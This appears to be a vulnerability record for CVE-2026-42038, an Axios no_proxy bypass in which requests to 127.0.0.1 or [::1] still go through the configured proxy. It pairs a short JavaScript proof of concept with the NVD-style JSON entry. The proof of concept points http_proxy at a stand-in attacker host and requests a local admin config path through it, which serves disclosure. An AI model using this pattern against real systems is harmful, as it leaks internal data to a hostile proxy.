CVE-2026-42038

const axios = require('axios'); // Simulate environment configuration process.env.http_proxy = 'http://attacker-controlled-proxy.com:8080'; process.env.no_proxy = 'localhost'; // Vulnerability: Requesting 127.0.0.1 does not match 'localhost' string // and goes through the proxy instead of bypassing it. axios.get('http://127.0.0.1/admin/config') .then(response => { console.log('Data:', response.data); }) .catch(error => { console.error(error); });

{"cve": {"id": "CVE-2026-42038", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:30.680", "lastModified": "2026-04-27T19:52:16.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for no_proxy hostname normalization bypass is incomplete. When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.31.1", "matchCriteriaId": "7D2B28C9-026E-4CD6-BD17-7EDD42108106"}, {"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.1", "matchCriteriaId": "3EC1EF30-EBB8-410B-90FB-1F18A3545C2E"}]}]}], "references": [{"url": "https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}